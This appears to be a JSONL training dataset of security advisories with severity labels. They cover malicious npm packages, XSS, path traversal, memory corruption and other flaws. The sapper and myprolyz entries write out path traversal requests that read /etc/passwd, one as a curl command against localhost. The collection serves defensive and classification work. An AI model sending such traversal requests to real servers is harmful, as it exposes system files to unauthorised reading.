-{"id": "341ef0283bea98018c57", "text": "lodahs is malware\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "lodahs is malware\n\n[Severity: HIGH]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-12-16", "split": "train"}
-{"id": "c8861a1b7c7894968fe8", "text": "xd-testing Downloads Resources over HTTP\n\nAffected versions of `xd-testing` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `xd-testing`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "xd-testing Downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `xd-testing` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `xd-testing`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "1710bee4b2d6165a5e7b", "text": "DoS Vulnerability from Upstream Actix Web Issues\n\n### Impact\nThis vulnerability affects all users of the `perseus deploy` functionality who have not exported their sites to static files. If you are using the inbuilt Perseus server in production, there is a memory leak in Actix Web stemming from [this upstream issue](https://github.com/actix/actix-web/issues/1780) which can allow even a single user to cause the process to exhaust its memory on low-memory servers by continuously reloading the page. Note that this issue does not affect all Actix Web applications, but rather results from certain usage patterns which appear to be present in Perseus' server mechanics.\n\n### Patches\nThis vulnerability is addressed in all versions after Perseus `v0.3.0-beta.21`, which temporarily discontinues the use of `perseus-actix-web` (until the upstream bug is fixed) and switches to `perseus-warp` instead, which utilizes [Warp](https://github.com/seanmonstar/warp).\n\nAdditionally, as of Perseus `v0.3.0-beta.22`, the Actix Web integration has been upgraded to use the latest unstable beta version of Actix Web, which appears to partially resolve this issue (the severity of the memory leak is reduced). However, due to the instability of this version, the default integration will remain Warp for now, and a warning will appear if you attempt to use the Actix Web integration.\n\n<details>\n<summary>Using the Actix Web integration</summary>\n\nIf the instability of the latest beta version of Actix Web is not a concern for you, you can use this integration by adding `-i actix-web` to `perseus serve` and the like. This will print a warning about instability, and will then operate with the beta version. Please report any failures in functionality that are not security-related to the Perseus team by [opening an issue on the repository](https://github.com/arctic-hen7/perseus/issues/new/choose).\n\nNote however that switching to the Warp integration requires no code changes whatsoever unless you've ejected, so there are very few disadvantages to this change.\n\n</details>\n\n### Workarounds\nDue to significant infrastructural changes within other Perseus packages that were needed to support Warp, this integration is not backward-compatible with any previous version of Perseus, meaning there are no easily feasible workarounds. If you're only in development though, this vulnerability is irrelevant until you push to production.\n\n### CVE Status\n\nDue to GitHub's requirements, a CVE can't be issued for this security advisory because the issue is technically one with Actix Web (though it's only in combination with certain mechanics in the Perseus server that this problem arises).\n\n### References\nSee [this upstream issue](https://github.com/actix/actix-web/issues/1780) in Actix Web.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue on this repository\n* Email me at [arctic_hen7@pm.me](mailto:arctic_hen7@pm.me)", "text_raw": "DoS Vulnerability from Upstream Actix Web Issues\n\n[Severity: HIGH]\n\n### Impact\nThis vulnerability affects all users of the `perseus deploy` functionality who have not exported their sites to static files. If you are using the inbuilt Perseus server in production, there is a memory leak in Actix Web stemming from [this upstream issue](https://github.com/actix/actix-web/issues/1780) which can allow even a single user to cause the process to exhaust its memory on low-memory servers by continuously reloading the page. Note that this issue does not affect all Actix Web applications, but rather results from certain usage patterns which appear to be present in Perseus' server mechanics.\n\n### Patches\nThis vulnerability is addressed in all versions after Perseus `v0.3.0-beta.21`, which temporarily discontinues the use of `perseus-actix-web` (until the upstream bug is fixed) and switches to `perseus-warp` instead, which utilizes [Warp](https://github.com/seanmonstar/warp).\n\nAdditionally, as of Perseus `v0.3.0-beta.22`, the Actix Web integration has been upgraded to use the latest unstable beta version of Actix Web, which appears to partially resolve this issue (the severity of the memory leak is reduced). However, due to the instability of this version, the default integration will remain Warp for now, and a warning will appear if you attempt to use the Actix Web integration.\n\n<details>\n<summary>Using the Actix Web integration</summary>\n\nIf the instability of the latest beta version of Actix Web is not a concern for you, you can use this integration by adding `-i actix-web` to `perseus serve` and the like. This will print a warning about instability, and will then operate with the beta version. Please report any failures in functionality that are not security-related to the Perseus team by [opening an issue on the repository](https://github.com/arctic-hen7/perseus/issues/new/choose).\n\nNote however that switching to the Warp integration requires no code changes whatsoever unless you've ejected, so there are very few disadvantages to this change.\n\n</details>\n\n### Workarounds\nDue to significant infrastructural changes within other Perseus packages that were needed to support Warp, this integration is not backward-compatible with any previous version of Perseus, meaning there are no easily feasible workarounds. If you're only in development though, this vulnerability is irrelevant until you push to production.\n\n### CVE Status\n\nDue to GitHub's requirements, a CVE can't be issued for this security advisory because the issue is technically one with Actix Web (though it's only in combination with certain mechanics in the Perseus server that this problem arises).\n\n### References\nSee [this upstream issue](https://github.com/actix/actix-web/issues/1780) in Actix Web.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue on this repository\n* Email me at [arctic_hen7@pm.me](mailto:arctic_hen7@pm.me)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-15", "split": "train"}
-{"id": "4bb3bfa11858908e2973", "text": "Arbitrary Code Execution in eslint-utils\n\nVersions of `eslint-utils` >=1.2.0 or <1.4.1 are vulnerable to Arbitrary Code Execution. The `getStaticValue` does not properly sanitize user input allowing attackers to supply malicious input that executes arbitrary code during the linting process. The `getStringIfConstant` and `getPropertyName` functions are not affected.\n\n## Recommendation\n\nUpgrade to version 1.4.1 or later.", "text_raw": "Arbitrary Code Execution in eslint-utils\n\n[Severity: CRITICAL]\n\nVersions of `eslint-utils` >=1.2.0 or <1.4.1 are vulnerable to Arbitrary Code Execution. The `getStaticValue` does not properly sanitize user input allowing attackers to supply malicious input that executes arbitrary code during the linting process. The `getStringIfConstant` and `getPropertyName` functions are not affected.\n\n\n## Recommendation\n\nUpgrade to version 1.4.1 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-08-26", "split": "train"}
-{"id": "2ef72e71094c79bb844c", "text": "Division by zero in padding computation in TFLite\n\n### Impact\nThe TFLite computation for size of output after padding, [`ComputeOutSize`](https://github.com/tensorflow/tensorflow/blob/0c9692ae7b1671c983569e5d3de5565843d500cf/tensorflow/lite/kernels/padding.h#L43-L55), does not check that the `stride` argument is not 0 before doing the division.\n\n```cc\ninline int ComputeOutSize(TfLitePadding padding, int image_size,\n                          int filter_size, int stride, int dilation_rate = 1) {\n  int effective_filter_size = (filter_size - 1) * dilation_rate + 1;\n  switch (padding) {\n    case kTfLitePaddingSame:\n      return (image_size + stride - 1) / stride;\n    case kTfLitePaddingValid:\n      return (image_size + stride - effective_filter_size) / stride;\n    default:\n      return 0;\n  }\n}\n```\n\nUsers can craft special models such that `ComputeOutSize` is called with `stride` set to 0.\n\n### Patches\nWe have patched the issue in GitHub commit [49847ae69a4e1a97ae7f2db5e217c77721e37948](https://github.com/tensorflow/tensorflow/commit/49847ae69a4e1a97ae7f2db5e217c77721e37948).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Division by zero in padding computation in TFLite\n\n[Severity: LOW]\n\n### Impact\nThe TFLite computation for size of output after padding, [`ComputeOutSize`](https://github.com/tensorflow/tensorflow/blob/0c9692ae7b1671c983569e5d3de5565843d500cf/tensorflow/lite/kernels/padding.h#L43-L55), does not check that the `stride` argument is not 0 before doing the division.\n\n```cc\ninline int ComputeOutSize(TfLitePadding padding, int image_size,\n                          int filter_size, int stride, int dilation_rate = 1) {\n  int effective_filter_size = (filter_size - 1) * dilation_rate + 1;\n  switch (padding) {\n    case kTfLitePaddingSame:\n      return (image_size + stride - 1) / stride;\n    case kTfLitePaddingValid:\n      return (image_size + stride - effective_filter_size) / stride;\n    default:\n      return 0;\n  }\n}\n```\n  \nUsers can craft special models such that `ComputeOutSize` is called with `stride` set to 0.\n\n### Patches\nWe have patched the issue in GitHub commit [49847ae69a4e1a97ae7f2db5e217c77721e37948](https://github.com/tensorflow/tensorflow/commit/49847ae69a4e1a97ae7f2db5e217c77721e37948).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "1d32c0ec165fdee4e1f9", "text": "Cross-Site Scripting in diagram-js\n\nVersions of `diagram-js` prior to 3.3.1 (for 3.x) and 2.6.2 (for 2.x) are vulnerable to Cross-Site Scripting. The package fails to escape output of user-controlled input in `search-pad`, allowing attackers to execute arbitrary JavaScript.\n\n## Recommendation\n\nIf you are using diagram-js 3.x, upgrade to version 3.3.1.\nIf you are using diagram-js 2.x, upgrade to version 2.6.2.", "text_raw": "Cross-Site Scripting in diagram-js\n\n[Severity: MEDIUM]\n\nVersions of `diagram-js` prior to 3.3.1 (for 3.x) and 2.6.2 (for 2.x) are vulnerable to Cross-Site Scripting. The package fails to escape output of user-controlled input in `search-pad`, allowing attackers to execute arbitrary JavaScript.\n\n\n## Recommendation\n\nIf you are using diagram-js 3.x, upgrade to version 3.3.1.\nIf you are using diagram-js 2.x, upgrade to version 2.6.2.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "aefc503ed0b7baed894e", "text": "mongose is malware\n\nThe `mongose` package is a piece of malware that steals environment variables and sends them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there.\n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables.\n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "mongose is malware\n\n[Severity: HIGH]\n\nThe `mongose` package is a piece of malware that steals environment variables and sends them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there. \n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables. \n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-10", "split": "train"}
-{"id": "61fdf00d20246b970d30", "text": "Malicious Package in rpc-websocket\n\nVersions of `rpc-websocket` >= 0.7.6 contained malicious code. The package opens a backdoor to a remote server and executes arbitrary commands, effectively acting as a backdoor.\n\n## Recommendation\n\nAny computer that has these versions of the package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in rpc-websocket\n\n[Severity: CRITICAL]\n\nVersions of `rpc-websocket` >= 0.7.6 contained malicious code. The package opens a backdoor to a remote server and executes arbitrary commands, effectively acting as a backdoor.\n\n\n## Recommendation\n\nAny computer that has these versions of the package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "4aa31fcb50c37c775102", "text": "TECO SG2 FBD Client 3.51 SEH Overwrite Buffer Overflow Vulnerability", "text_raw": "TECO SG2 FBD Client 3.51 SEH Overwrite Buffer Overflow Vulnerability\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2015-11-15", "split": "train"}
-{"id": "b827b793aa4f65ba0c02", "text": "Out-of-bounds Write in OpenCV\n\nOpenCV (Open Source Computer Vision Library) through 3.3 (corresponding to OpenCV-Python and OpenCV-Contrib-Python 3.3.0.9) has an out-of-bounds write error in the FillUniColor function in utils.cpp when reading an image file by using cv::imread.", "text_raw": "Out-of-bounds Write in OpenCV\n\n[Severity: HIGH]\n\nOpenCV (Open Source Computer Vision Library) through 3.3 (corresponding to OpenCV-Python and OpenCV-Contrib-Python 3.3.0.9) has an out-of-bounds write error in the FillUniColor function in utils.cpp when reading an image file by using cv::imread.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "be4cf0d210543df94398", "text": "Information disclosure in the Contao backend\n\n### Impact\n\nBack end users can manipulate the details view URL to show pages and articles that have not been enabled for them.\n\n### Patches\n\nUpdate to Contao 4.4.46 or 4.8.6.\n\n### Workarounds\n\nNone.\n\n### References\n\nhttps://contao.org/en/security-advisories/information-disclosure-in-the-back-end\n\n### For more information\n\nIf you have any questions or comments about this advisory, open an issue in [contao/contao](https://github.com/contao/contao/issues/new/choose).", "text_raw": "Information disclosure in the Contao backend\n\n[Severity: MEDIUM]\n\n### Impact\n\nBack end users can manipulate the details view URL to show pages and articles that have not been enabled for them.\n\n### Patches\n\nUpdate to Contao 4.4.46 or 4.8.6.\n\n### Workarounds\n\nNone.\n\n### References\n\nhttps://contao.org/en/security-advisories/information-disclosure-in-the-back-end\n\n### For more information\n\nIf you have any questions or comments about this advisory, open an issue in [contao/contao](https://github.com/contao/contao/issues/new/choose).\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-12-17", "split": "train"}
-{"id": "4519958e37a69482e70e", "text": "Malicious Package in degbu\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in degbu\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "d21a25beb40cf48ddd78", "text": "ECDSA signature validation vulnerability by accepting wrong ASN.1 encoding in jsrsasign\n\n### Impact\nJsrsasign supports ECDSA signature validation which signature value is represented by ASN.1 DER encoding. This vulnerablity may accept a wrong ASN.1 DER encoded ECDSA signature such as:\n\n- wrong multi-byte ASN.1 length of TLV (ex. 0x820045 even though 0x45 is correct)\n- prepending zeros with ASN.1 INTEGER value (ex. 0x00000123 even though 0x0123 is correct)\n- appending zeros to signature of ASN.1 TLV (ex. 0x3082....1fbc000000 even though 0x3082....1fbc, appending zeros are ignored.)\n\nThis vulnerability was fixed by strict ASN.1 DER checking.\n\nHere is an assessment of this vulnerability:\n\n- If you are not use ECDSA signature validation, this vulnerability is not affected.\n- Not ASN.1 format signature like just concatenation of R and S value is not affected such as Bitcoin.\n- This vulnerability is affected to all ECC curve parameters.\n- Risk to accept a forged or crafted message to be signed is low.\n- Risk to raise memory corruption is low since jsrsasign uses BigInteger class.\n- ECDSA signatures semantically the same to valid one may be accepted as valid. There are many malleable variants.\n\nAs discussed [here](https://crypto.stackexchange.com/questions/24862/ber-or-der-x9-62-for-ecdsa-signature), there is no standards like X9.62 which requires ASN.1 DER. So ASN.1 BER can be applied to ECDSA however most of implementations like OpenSSL do strict ASN.1 DER checking.\n\n### Patches\nUsers using ECDSA signature validation should upgrade to 8.0.19.\n\n### Workarounds\nDo strict ASN.1 DER checking for ASN.1 encoded ECDSA signature value.\n\n### References\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-14966\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14966\nhttps://vuldb.com/?id.157123\nhttps://github.com/kjur/jsrsasign/issues/437\nhttps://kjur.github.io/jsrsasign/api/symbols/KJUR.crypto.ECDSA.html\nhttps://kjur.github.io/jsrsasign/api/symbols/ASN1HEX.html#.checkStrictDER\nhttps://www.itu.int/rec/T-REC-X.690", "text_raw": "ECDSA signature validation vulnerability by accepting wrong ASN.1 encoding in jsrsasign\n\n[Severity: HIGH]\n\n### Impact\nJsrsasign supports ECDSA signature validation which signature value is represented by ASN.1 DER encoding. This vulnerablity may accept a wrong ASN.1 DER encoded ECDSA signature such as:\n\n- wrong multi-byte ASN.1 length of TLV (ex. 0x820045 even though 0x45 is correct)\n- prepending zeros with ASN.1 INTEGER value (ex. 0x00000123 even though 0x0123 is correct)\n- appending zeros to signature of ASN.1 TLV (ex. 0x3082....1fbc000000 even though 0x3082....1fbc, appending zeros are ignored.)\n\nThis vulnerability was fixed by strict ASN.1 DER checking. \n\nHere is an assessment of this vulnerability:\n\n- If you are not use ECDSA signature validation, this vulnerability is not affected.\n- Not ASN.1 format signature like just concatenation of R and S value is not affected such as Bitcoin.\n- This vulnerability is affected to all ECC curve parameters.\n- Risk to accept a forged or crafted message to be signed is low.\n- Risk to raise memory corruption is low since jsrsasign uses BigInteger class.\n- ECDSA signatures semantically the same to valid one may be accepted as valid. There are many malleable variants.\n\nAs discussed [here](https://crypto.stackexchange.com/questions/24862/ber-or-der-x9-62-for-ecdsa-signature), there is no standards like X9.62 which requires ASN.1 DER. So ASN.1 BER can be applied to ECDSA however most of implementations like OpenSSL do strict ASN.1 DER checking.\n\n### Patches\nUsers using ECDSA signature validation should upgrade to 8.0.19.\n\n### Workarounds\nDo strict ASN.1 DER checking for ASN.1 encoded ECDSA signature value.\n\n### References\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-14966\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14966\nhttps://vuldb.com/?id.157123\nhttps://github.com/kjur/jsrsasign/issues/437\nhttps://kjur.github.io/jsrsasign/api/symbols/KJUR.crypto.ECDSA.html\nhttps://kjur.github.io/jsrsasign/api/symbols/ASN1HEX.html#.checkStrictDER\nhttps://www.itu.int/rec/T-REC-X.690\n\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-06-26", "split": "train"}
-{"id": "2ceb446c6c0ba05bd48e", "text": "Path Traversal in sapper\n\nVersions of `sapper` prior to 0.27.11 are vulnerable to Path Traversal. It is possible to access sensitive files on the server through HTTP requests containing URL-encoded `../`.\n\nYou may test a `sapper` application running in prod mode with `curl -vvv http://localhost:3000/client/750af05c3a69ddc6073a/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd`.\n\n## Recommendation\n\nUpgrade to version 0.27.11 or later.", "text_raw": "Path Traversal in sapper\n\n[Severity: CRITICAL]\n\nVersions of `sapper` prior to 0.27.11 are vulnerable to Path Traversal. It is possible to access sensitive files on the server through HTTP requests containing URL-encoded `../`.  \n\nYou may test a `sapper` application running in prod mode with `curl -vvv http://localhost:3000/client/750af05c3a69ddc6073a/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd`.\n\n\n## Recommendation\n\nUpgrade to version 0.27.11 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "6ee60c93f10d2b2fa722", "text": "Ruby_parser-legacy Incorrect Permission Assignment for Critical Resource\n\nThe ruby_parser-legacy (aka legacy) gem 1.0.0 for Ruby allows local privilege escalation because of world-writable files. For example, if the brakeman gem (which has a legacy dependency) 4.5.0 through 4.7.0 is used, a local user can insert malicious code into the `ruby_parser-legacy-1.0.0/lib/ruby_parser/legacy/ruby_parser.rb` file.", "text_raw": "Ruby_parser-legacy Incorrect Permission Assignment for Critical Resource\n\n[Severity: HIGH]\n\nThe ruby_parser-legacy (aka legacy) gem 1.0.0 for Ruby allows local privilege escalation because of world-writable files. For example, if the brakeman gem (which has a legacy dependency) 4.5.0 through 4.7.0 is used, a local user can insert malicious code into the `ruby_parser-legacy-1.0.0/lib/ruby_parser/legacy/ruby_parser.rb` file.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-10-25", "split": "train"}
-{"id": "9f3ca3ac9c3ad5c5fa6e", "text": "Micro Focus Rumba+ v9.4 Multiple Stack Buffer Overflow Vulnerabilities", "text_raw": "Micro Focus Rumba+ v9.4 Multiple Stack Buffer Overflow Vulnerabilities\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2016-05-26", "split": "train"}
-{"id": "9f2519e3e7fb989ff5d7", "text": "Memory corruption in Tensorflow\n\n### Impact\nThe implementation of `dlpack.to_dlpack` can be made to use uninitialized memory resulting in further memory corruption. This is because the pybind11 glue code assumes that the argument is a tensor:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/python/tfe_wrapper.cc#L1361\n\nHowever, there is nothing stopping users from passing in a Python object instead of a tensor.\n```python\nIn [2]: tf.experimental.dlpack.to_dlpack([2])                                                                                                                                            \n==1720623==WARNING: MemorySanitizer: use-of-uninitialized-value                                                                                                                            \n    #0 0x55b0ba5c410a in tensorflow::(anonymous namespace)::GetTensorFromHandle(TFE_TensorHandle*, TF_Status*) third_party/tensorflow/c/eager/dlpack.cc:46:7\n    #1 0x55b0ba5c38f4 in tensorflow::TFE_HandleToDLPack(TFE_TensorHandle*, TF_Status*) third_party/tensorflow/c/eager/dlpack.cc:252:26\n... \n```\n\nThe uninitialized memory address is due to a `reinterpret_cast`\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/python/eager/pywrap_tensor.cc#L848-L850\n\nSince the `PyObject` is a Python object, not a TensorFlow Tensor, the cast to `EagerTensor` fails.\n\n### Patches\nWe have patched the issue in 22e07fb204386768e5bcbea563641ea11f96ceb8 and will release a patch release for all affected versions.\n\nWe recommend users to upgrade to TensorFlow 2.2.1 or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Memory corruption in Tensorflow\n\n[Severity: HIGH]\n\n### Impact\nThe implementation of `dlpack.to_dlpack` can be made to use uninitialized memory resulting in further memory corruption. This is because the pybind11 glue code assumes that the argument is a tensor:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/python/tfe_wrapper.cc#L1361\n\nHowever, there is nothing stopping users from passing in a Python object instead of a tensor.\n```python\nIn [2]: tf.experimental.dlpack.to_dlpack([2])                                                                                                                                            \n==1720623==WARNING: MemorySanitizer: use-of-uninitialized-value                                                                                                                            \n    #0 0x55b0ba5c410a in tensorflow::(anonymous namespace)::GetTensorFromHandle(TFE_TensorHandle*, TF_Status*) third_party/tensorflow/c/eager/dlpack.cc:46:7\n    #1 0x55b0ba5c38f4 in tensorflow::TFE_HandleToDLPack(TFE_TensorHandle*, TF_Status*) third_party/tensorflow/c/eager/dlpack.cc:252:26\n... \n```\n\nThe uninitialized memory address is due to a `reinterpret_cast`\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/python/eager/pywrap_tensor.cc#L848-L850\n\nSince the `PyObject` is a Python object, not a TensorFlow Tensor, the cast to `EagerTensor` fails. \n\n### Patches\nWe have patched the issue in 22e07fb204386768e5bcbea563641ea11f96ceb8 and will release a patch release for all affected versions.\n\nWe recommend users to upgrade to TensorFlow 2.2.1 or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-25", "split": "train"}
-{"id": "89005843e60c7f5ad390", "text": "rails vulnerable to improper authentication\n\nThe example code for the digest authentication functionality (http_authentication.rb) in Ruby on Rails before 2.3.3 defines an authenticate_or_request_with_http_digest block that returns nil instead of false when the user does not exist, which allows context-dependent attackers to bypass authentication for applications that are derived from this example by sending an invalid username without a password.", "text_raw": "rails vulnerable to improper authentication\n\n[Severity: CRITICAL]\n\nThe example code for the digest authentication functionality (http_authentication.rb) in Ruby on Rails before 2.3.3 defines an authenticate_or_request_with_http_digest block that returns nil instead of false when the user does not exist, which allows context-dependent attackers to bypass authentication for applications that are derived from this example by sending an invalid username without a password.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "8de7440c4447c80de7a0", "text": "Directory Traversal in myprolyz\n\nAffected versions of `myprolyz` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in myprolyz\n\n[Severity: HIGH]\n\nAffected versions of `myprolyz` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "f5b383aa1a5f175a3a37", "text": "lib/thin/connection.rb in Thin web server before 1.2.4 relies on the X-Forwarded-For header to determine the IP address of the client, which allows remote attackers to spoof the IP address and hide activities via a modified X-Forwarded-For header.", "text_raw": "High severity vulnerability that affects thin\n\n[Severity: HIGH]\n\nlib/thin/connection.rb in Thin web server before 1.2.4 relies on the X-Forwarded-For header to determine the IP address of the client, which allows remote attackers to spoof the IP address and hide activities via a modified X-Forwarded-For header.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "9bbaf57d916aac6c2357", "text": "Pannellum Cross-Site Scripting due to data not being sanitized for URIs or vbscript\n\nVersions of `pannellum` prior to 2.5.6 are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize URLs for data URIs, which may allow attackers to execute arbitrary code in a victim's browser.\n\n## Recommendation\n\nUpgrade to version 2.5.6 or later.", "text_raw": "Pannellum Cross-Site Scripting due to data not being sanitized for URIs or vbscript\n\n[Severity: MEDIUM]\n\nVersions of `pannellum` prior to 2.5.6 are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize URLs for data URIs, which may allow attackers to execute arbitrary code in a victim's browser. \n\n\n## Recommendation\n\nUpgrade to version 2.5.6 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-11-22", "split": "train"}
-{"id": "e47a4d335b89a75677b9", "text": "Microsoft SharePoint 2013 SP1 Stored XSS Vulnerability", "text_raw": "Microsoft SharePoint 2013 SP1 Stored XSS Vulnerability\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2019-09-24", "split": "train"}
